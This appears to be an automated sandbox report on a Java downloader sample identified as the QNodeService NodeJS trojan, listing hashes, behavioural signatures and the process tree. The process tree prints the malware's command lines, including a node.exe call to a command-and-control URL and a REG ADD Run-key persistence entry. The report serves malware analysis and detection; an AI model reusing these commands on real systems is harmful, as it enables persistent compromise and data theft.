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Analysis

  • max time kernel
    130s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    06/07/2020, 14:46

General

  • Target

    99dcdadfeed1b6271637cd158eddc785.jar

  • Size

    11KB

  • MD5

    99dcdadfeed1b6271637cd158eddc785

  • SHA1

    4420bd2bb41db133243192337ff37a1b9a34414a

  • SHA256

    f0e9d3a5162ecadf7a48a64603e0d813ed45ff53882e63251e3f3c7c5a2e408b

  • SHA512

    4ca54d207a9ee57d14edd00d195bd2264443e2242fc6dce31eac2a2f0a33ce3d88e208819ef53aac874df6d52edbd041dde532f4a6266379ca7d7ea275f0126f

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Adds Run entry to start application 2 TTPs 2 IoCs
  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\99dcdadfeed1b6271637cd158eddc785.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://richiealvin2020.casacam.net
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4084
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-a553500b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-a553500b.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-a553500b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-a553500b.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:2828
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://richiealvin2020.casacam.net
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Checks processor information in registry
        • Executes dropped EXE
        • Loads dropped DLL
        PID:3612

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3612-123-0x000002C398D80000-0x000002C398D81000-memory.dmp

    Filesize

    4KB

  • memory/4084-117-0x0000009ADF6C0000-0x0000009ADF6C1000-memory.dmp

    Filesize

    4KB